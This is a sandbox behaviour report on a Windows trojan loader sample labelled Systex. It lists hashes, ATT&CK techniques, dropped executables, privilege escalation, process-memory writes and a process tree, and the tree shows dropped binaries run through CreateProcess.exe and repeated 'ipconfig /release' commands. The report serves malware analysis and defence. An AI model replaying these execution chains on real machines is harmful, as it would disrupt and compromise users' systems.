systex | 37cf0a559791c5b4f0fbd6eb9de38aea2c9c15ee15fea031fd9a98723e8dc312

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/06/2026, 10:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample260630-mxpppsds3y
SHA256 37cf0a559791c5b4f0fbd6eb9de38aea2c9c15ee15fea031fd9a98723e8dc312
MD5 3a3e6595fa3f732b932c04fa5f1dd6bd
SHA1 391430d40e0813d4f8827dc9e46494ed19c37715
SHA512 6e2ec0b5e4fc608977f0d1ba8114138712ad9facbce239ef1809c5db0aa1ea555efeb549fca1300a28c95745fa60432059ee54b7b8b34d5e433f43998048d3a1
SSDEEP 3072:t9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:/ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T157847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4500	ztrljetrljgeywqo.exe
1152	ztrljetrljgeywqo.sys
720	CreateProcess.exe
4032	rljgbywqoj.exe
2748	CreateProcess.exe
568	CreateProcess.exe
5988	i_rljgbywqoj.exe
4220	eywqomgeyw.sys
252	CreateProcess.exe
1268	ytigbywqoi.exe
1200	CreateProcess.exe
4552	CreateProcess.exe
2856	i_ytigbywqoi.exe
2232	qoigdyvqoi.sys
3448	CreateProcess.exe
5408	nlidytqoig.exe
2692	CreateProcess.exe
1412	CreateProcess.exe
5024	i_nlidytqoig.exe
1140	igayvqnifa.sys
3224	CreateProcess.exe
6060	davsqkiday.exe
1904	CreateProcess.exe
1580	CreateProcess.exe
1144	i_davsqkiday.exe
3304	fdanhfdxsp.sys
5896	CreateProcess.exe
832	sqkfzxspki.exe
2516	CreateProcess.exe
4280	CreateProcess.exe
3676	i_sqkfzxspki.exe
4880	pnhfcauspk.sys
4160	CreateProcess.exe
1940	pmcxuspkhe.exe
124	CreateProcess.exe
2824	CreateProcess.exe
3688	i_pmcxuspkhe.exe
2840	zxupmkezxr.sys
6128	CreateProcess.exe
4044	cwupmhezxr.exe
5768	CreateProcess.exe
5980	CreateProcess.exe
2068	i_cwupmhezxr.exe
5584	zuomgezwrp.sys
4764	CreateProcess.exe
1680	rpjhbzurmk.exe
1880	CreateProcess.exe
416	CreateProcess.exe
5440	i_rpjhbzurmk.exe
1224	ztromgebzw.sys
1612	CreateProcess.exe
2632	jhbztrojgb.exe
3764	CreateProcess.exe
1408	CreateProcess.exe
2712	i_jhbztrojgb.exe
5676	ojgeywqomj.sys
2052	CreateProcess.exe
5444	jgbzwrlbvt.exe
756	CreateProcess.exe
4232	CreateProcess.exe
5704	i_jgbzwrlbvt.exe
3988	eywqoigdbv.sys
2416	CreateProcess.exe
5800	vtnljdbvtn.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_342491992\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_829432947\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_829432947\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_1922346653\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_1922346653\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_928146186\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_928146186\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_928146186\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5276_928146186\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytigbywqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	davsqkiday.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljgbywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytigbywqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmcxuspkhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwupmhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbzwrlbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnljdbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljebomgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlidytqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkfzxspki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwupmhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxrpnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqnifdxvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljebomgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkfzxspki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmcxuspkhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztrojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbzwrlbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupnkifaxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebzwuomjeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqnifdxvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljgbywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bzurmjhezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebzwuomjeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlidytqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_davsqkiday.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnljdbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bzurmjhezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrljetrljgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupnkifaxs.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5196	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2396	ipconfig.exe
2856	ipconfig.exe
4276	ipconfig.exe
5588	ipconfig.exe
2860	ipconfig.exe
5004	ipconfig.exe
4044	ipconfig.exe
5976	ipconfig.exe
1992	ipconfig.exe
2960	ipconfig.exe
4852	ipconfig.exe
3688	ipconfig.exe
3388	ipconfig.exe
4792	ipconfig.exe
4944	ipconfig.exe
760	ipconfig.exe
5520	ipconfig.exe
4492	ipconfig.exe
5728	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1086369643-1618123105-2567081378-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1086369643-1618123105-2567081378-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1086369643-1618123105-2567081378-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134272902618462249"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1086369643-1618123105-2567081378-1000\{5FAEDF1C-670A-497C-9E18-533AACD4625B}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
4500	ztrljetrljgeywqo.exe
4500	ztrljetrljgeywqo.exe
4500	ztrljetrljgeywqo.exe
4500	ztrljetrljgeywqo.exe
4500	ztrljetrljgeywqo.exe
4500	ztrljetrljgeywqo.exe
4500	ztrljetrljgeywqo.exe
4500	ztrljetrljgeywqo.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
5276	msedge.exe
5276	msedge.exe
5276	msedge.exe
5276	msedge.exe
5276	msedge.exe
5276	msedge.exe
5276	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	5988	i_rljgbywqoj.exe
Token: SeDebugPrivilege	2856	i_ytigbywqoi.exe
Token: SeDebugPrivilege	5024	i_nlidytqoig.exe
Token: SeDebugPrivilege	1144	i_davsqkiday.exe
Token: SeDebugPrivilege	3676	i_sqkfzxspki.exe
Token: SeDebugPrivilege	3688	i_pmcxuspkhe.exe
Token: SeDebugPrivilege	2068	i_cwupmhezxr.exe
Token: SeDebugPrivilege	5440	i_rpjhbzurmk.exe
Token: SeDebugPrivilege	2712	i_jhbztrojgb.exe
Token: SeDebugPrivilege	5704	i_jgbzwrlbvt.exe
Token: SeDebugPrivilege	5604	i_vtnljdbvtn.exe
Token: SeDebugPrivilege	4400	i_sqnifdxvqo.exe
Token: SeDebugPrivilege	5116	i_nlfdxvpnhf.exe
Token: SeDebugPrivilege	1304	i_xupnkifaxs.exe
Token: SeDebugPrivilege	4560	i_hfzxrpnhfz.exe
Token: SeDebugPrivilege	1908	i_bzurmjhezw.exe
Token: SeDebugPrivilege	5292	i_ebzwuomjeb.exe
Token: SeDebugPrivilege	5704	i_rljebomgeb.exe
Token: SeDebugPrivilege	476	i_oljdbwtolg.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5276	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3360 wrote to memory of 4500	3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe	88
PID 3360 wrote to memory of 3404	3360	2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe	89
PID 3404 wrote to memory of 5276	3404	iexplore.exe	90
PID 5276 wrote to memory of 3012	5276	msedge.exe	91
PID 5276 wrote to memory of 2800	5276	msedge.exe	92
PID 5276 wrote to memory of 5196	5276	msedge.exe	94
PID 5276 wrote to memory of 2800	5276	msedge.exe	92
PID 5276 wrote to memory of 2800	5276	msedge.exe	92
PID 5276 wrote to memory of 2944	5276	msedge.exe	95
PID 5276 wrote to memory of 2944	5276	msedge.exe	95
PID 5276 wrote to memory of 1296	5276	msedge.exe	96
PID 5276 wrote to memory of 1296	5276	msedge.exe	96
PID 5276 wrote to memory of 1296	5276	msedge.exe	96
PID 5276 wrote to memory of 1480	5276	msedge.exe	97
PID 5276 wrote to memory of 1480	5276	msedge.exe	97
PID 5276 wrote to memory of 1480	5276	msedge.exe	97
PID 5276 wrote to memory of 340	5276	msedge.exe	98
PID 5276 wrote to memory of 340	5276	msedge.exe	98
PID 5276 wrote to memory of 340	5276	msedge.exe	98
PID 5276 wrote to memory of 124	5276	msedge.exe	99
PID 5276 wrote to memory of 124	5276	msedge.exe	99
PID 5276 wrote to memory of 124	5276	msedge.exe	99
PID 5276 wrote to memory of 4736	5276	msedge.exe	100
PID 5276 wrote to memory of 4736	5276	msedge.exe	100
PID 5276 wrote to memory of 4736	5276	msedge.exe	100
PID 5276 wrote to memory of 5748	5276	msedge.exe	102
PID 5276 wrote to memory of 5748	5276	msedge.exe	102
PID 5276 wrote to memory of 3144	5276	msedge.exe	105
PID 5276 wrote to memory of 3144	5276	msedge.exe	105
PID 5276 wrote to memory of 3144	5276	msedge.exe	105
PID 4500 wrote to memory of 720	4500	ztrljetrljgeywqo.exe	106
PID 4032 wrote to memory of 2748	4032	rljgbywqoj.exe	109
PID 5276 wrote to memory of 5940	5276	msedge.exe	112
PID 5276 wrote to memory of 4560	5276	msedge.exe	113
PID 5276 wrote to memory of 5940	5276	msedge.exe	112
PID 5276 wrote to memory of 4560	5276	msedge.exe	113
PID 5276 wrote to memory of 4484	5276	msedge.exe	115
PID 5276 wrote to memory of 4556	5276	msedge.exe	117
PID 5276 wrote to memory of 4556	5276	msedge.exe	117
PID 5276 wrote to memory of 5000	5276	msedge.exe	119
PID 5276 wrote to memory of 5000	5276	msedge.exe	119
PID 4500 wrote to memory of 568	4500	ztrljetrljgeywqo.exe	120
PID 4500 wrote to memory of 252	4500	ztrljetrljgeywqo.exe	124
PID 1268 wrote to memory of 1200	1268	ytigbywqoi.exe	126
PID 4500 wrote to memory of 4552	4500	ztrljetrljgeywqo.exe	129
PID 4500 wrote to memory of 3448	4500	ztrljetrljgeywqo.exe	133
PID 5408 wrote to memory of 2692	5408	nlidytqoig.exe	135
PID 4500 wrote to memory of 1412	4500	ztrljetrljgeywqo.exe	138
PID 4500 wrote to memory of 3224	4500	ztrljetrljgeywqo.exe	143
PID 6060 wrote to memory of 1904	6060	davsqkiday.exe	145
PID 4500 wrote to memory of 1580	4500	ztrljetrljgeywqo.exe	148
PID 5276 wrote to memory of 1192	5276	msedge.exe	150
PID 5276 wrote to memory of 3408	5276	msedge.exe	151
PID 5276 wrote to memory of 3444	5276	msedge.exe	152
PID 4500 wrote to memory of 5896	4500	ztrljetrljgeywqo.exe	155
PID 832 wrote to memory of 2516	832	sqkfzxspki.exe	157
PID 4500 wrote to memory of 4280	4500	ztrljetrljgeywqo.exe	160
PID 4500 wrote to memory of 4160	4500	ztrljetrljgeywqo.exe	164
PID 1940 wrote to memory of 124	1940	pmcxuspkhe.exe	166
PID 4500 wrote to memory of 2824	4500	ztrljetrljgeywqo.exe	169
PID 4500 wrote to memory of 6128	4500	ztrljetrljgeywqo.exe	173
PID 4044 wrote to memory of 5768	4044	cwupmhezxr.exe	175
PID 4500 wrote to memory of 5980	4500	ztrljetrljgeywqo.exe	178
PID 4500 wrote to memory of 4764	4500	ztrljetrljgeywqo.exe	182

C:\Users\Admin\AppData\Local\Temp\2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-29_3a3e6595fa3f732b932c04fa5f1dd6bd_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3360
- C:\Temp\ztrljetrljgeywqo.exe
  C:\Temp\ztrljetrljgeywqo.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rljgbywqoj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:720
  - - C:\Temp\rljgbywqoj.exe
      C:\Temp\rljgbywqoj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4032
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2748
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5520
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rljgbywqoj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:568
  - - C:\Temp\i_rljgbywqoj.exe
      C:\Temp\i_rljgbywqoj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5988
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ytigbywqoi.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:252
  - - C:\Temp\ytigbywqoi.exe
      C:\Temp\ytigbywqoi.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1268
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1200
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ytigbywqoi.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4552
  - - C:\Temp\i_ytigbywqoi.exe
      C:\Temp\i_ytigbywqoi.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2856
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlidytqoig.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3448
  - - C:\Temp\nlidytqoig.exe
      C:\Temp\nlidytqoig.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5408
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2692
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4044
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlidytqoig.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1412
  - - C:\Temp\i_nlidytqoig.exe
      C:\Temp\i_nlidytqoig.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5024
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\davsqkiday.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3224
  - - C:\Temp\davsqkiday.exe
      C:\Temp\davsqkiday.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6060
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1904
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5728
